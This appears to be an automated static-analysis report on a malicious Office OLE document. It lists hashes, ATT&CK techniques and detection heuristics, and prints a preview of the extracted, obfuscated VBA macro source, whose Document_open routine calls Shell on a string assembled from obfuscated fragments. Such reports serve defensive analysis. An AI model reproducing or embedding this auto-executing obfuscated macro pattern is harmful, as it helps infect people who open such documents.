Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec8c363f3b373a5a…

MALICIOUS

Office (OLE)

173.5 KB First seen: 2019-12-09
MD5: 2e1666556212190d709265777b83f161 SHA-1: 70b89e36edfc180ea24bfdfdee19dd30fbab5c62 SHA-256: ec8c363f3b373a5aff64072dfc6f75aef467db129c8fa81b29094beca7f2bcf0
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains VBA macros, including a Document_Open macro that utilizes the Shell() function, indicating an attempt to execute arbitrary code. The ClamAV detection and the presence of obfuscated VBA code suggest malicious intent, likely to download and execute a secondary payload. The embedded URL was confirmed as benign and is not considered a threat.

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-6874597-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6874597-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37403 bytes
SHA-256: eaa0d63e99d190a5af05a1cd1a9f0e0a8df289844090e9e651ec036a7a22af85
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mUcbnpwcHupc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function lmWNRcWj()
On Error Resume Next
   MbwYXk = 59088 / Bdicv + 39751 - MHrsz - BTjXBW + vZTsj - (41198 - 53982)
   mJXKaZ = 54477 / siuMa + 50257 - kDPlc - iVdww + YmAUQk - (53617 - 52470)
   UndmpM = 77528 / SOSwM + 30819 - fOBMwz - nRJKl + nrEzNI - (18968 - 24433)
   mFvwJ = 65008 / atpjvP + 8311 - klHKI - BWNiH + Jqsaso - (17543 - 40425)
   DiUWGd = 22392 / FfVRHw + 26253 - Onkih - CGnkA + qGGjQ - (75780 - 64898)
   YbBlu = 82450 / maGXlO + 41346 - RowAL - fbNjaJ + lDGcM - (89018 - 55924)
End Function
Private Function VmLzAoXpswP()
On Error Resume Next
   zuInL = (zliMY + JfErXF * 2564 - nwlPcf + NGzHH + fZlIJE)
   CawAAD = (wmFkI + waGKAu * 49752 - VzjEn + cWCuXC + uDjAoA)
   EkIUV = (vqjAKF + uNZSrR * 25739 - YfRzP + IDhOvd + VzTSkJ)
   wBEzN = (OFakq + AVOiS * 73276 - JZkcmF + MMjuTt + PNLBEq)
   jjboUp = (jiwVzj + dRvNQY * 54508 - LNFBDW + JLtKal + EPSzf)
End Function
Private Function HsZAuBGCPj()
On Error Resume Next
   dtKqB = (dBLhwW + zvElLp * 95827 - orjsBn + zMuqmZ + zdiBp)
   MYwAcE = (uOdaDT + Odcwwr * 44507 - HsCNoT + uhRnn + wUjzXq)
   msGOTf = (juSaj + KbnwdA * 76285 - roVCih + rCiii + jbbDm)
   uUQjtL = (fQmlH + vqiIF * 531 - VThRGs + KocRi + ocwfZX)
   iRWjC = (cZQhuc + QDzOPU * 44763 - vJQjE + JszbB + Wcajj)
End Function
Private Sub Document_open()
On Error Resume Next
   ZczGbG = 29875 + irXoip * iGXnIX * GhImn * QrkrK * ruTFb - DHVqu * MOmVXz / 37993 * EDWQz
   zbrHf = 58054 + wvOAvi * PAPmX * YdvTmX * woXDHm * DjijOH - QqHXBl * pDHda / 29045 * WjXUHn
   KqEvvG = 8576 + ARzqFw * NEzWb * GNASa * cXaozj * rsVVFw - cQXRLC * TAEiS / 51003 * EdEdUH
   tZWTS = 78453 + zWbjkf * PVJhwn * Yijcd * SUhHY * LRBKqs - SlVuna * fRPGS / 19581 * NUumq
   UfpUHw = 37472 + OKSpT * ZCkvC * aBEap * lwwGX * DwzFj - fiqMCF * dqhoRK / 83850 * VHTbOf
   mksaj = 41769 + aZHlL * EUjNQQ * qBTsRs * QBDoTW * EzHhfl - ajKKT * lsWUL / 80218 * hkQAI
Shell "" + LsJvBjVfXP + mowkmdHk + CVar("c") + hXrhzHPGUB + vispMFhbG + kdjnkkkf + UFlQZp + ajcHzvhai + zBBLflmcirH + FssPAbNPKB + OzoDEi + RGZtVAn + WuQbfklHaE + cEzLKkV + akZtA + AwclK + msHzLGDMoQ + LawqnGP + XImSlXYUWJ + cOwzmLYDJi, 0
   LiodiR = 90078 + UVpuSV * SJUvAc * stVbb * VGLsM * GDjup - PcDHZ * jQUFu / 80595 * vEvpuI
End Sub
Private Function oOnQBzpX()
On Error Resume Next
   zMGjd = FcvbNO - WFaNM - 61503 / rqNjV - KnjCp * aziCHJ / rSjzFC + KzjPb / 31959 - iKHzXO + 17553 + Swslh * VoCSEj * uHrIjG
   nOhuD = WUbiW - MjamK - 90996 / GfwvZ - EiHGib * izmtV / RCUpHS + kDkuzw / 96316 - YWrSHR + 97224 + POtGSY * ujQdd * lqpcb
   Tlftot = Tfltip - BEzBi - 46935 / buKod - SLcKYN * MSDcNO / iplQn + pizuQV / 98961 - srVFKB + 50585 + DaVQr * iBUoQ * UlJtA
   DfzIhL = HiWGDq - UkciFO - 71403 / LUkviP - zAFwq * zNSQSD / nTDlY + vRUGR / 5760 - NUcYlc + 62269 + iWBHz * UWKSn * fCrRz
End Function
Private Function RmBhWczQFGvPrP()
On Error Resume Next
   LizoW = 42615 + zohbM * zZbhO * BTEimA * jKWOi * SKWTM - NXvoXO * Yiocv / 5115 * LjtGzM
   qLaZC = 5773 + FdGPzB * GfhPh * irhbMj * jQPTz * DjjNwM - iZKWf * zpcNZ / 69800 * LbwdwN
   rKrER = 53975 + SZdqj * nYEQmh * nGzmT * QaTkH * Mtzrd - WhzLY * tRlLvj / 69697 * nCWkMF
   ivLZG = 23557 + dvWNXz * zXKRfV * iaZYaq * SELVT * QuElnp - EqCVIn * CizNj / 424 * zUlAjV
   pqpdrv = 51675 + uuTiSF * zHNzM * npnUL * FbQzIE * taUMq - oDupPK * BkhlYi / 61824 * CBCIfO
   znrhKU = 78518 + QLmPj * FFfHbQ * qIzvib * dZWJY * OGKloz - iRKpij * Bpkjo / 23574 * Jftmj
End Function
Private Function BoqZzKYvtEcCVO()
On Error Resume Next
   fTmMSu = 8188 + ltmvo * iJGBO * IfkXRQ * FBwrFZ * QSEzG - HtDpXi * tujJY / 79158 * ZAiOu
   SzpiBL = 41074 + znUEz * lKzLwf * KUzSbH * UTUir * ihrOSJ - uwlqMZ * LLojKZ / 26979 * cqQaD
   zWsIYE = 1407 + vZzMzf * dStVz * ztXqdD * WLzbUX * XiAuf - EqqNp * YVfPT / 21086 * rBdURv

... (truncated)

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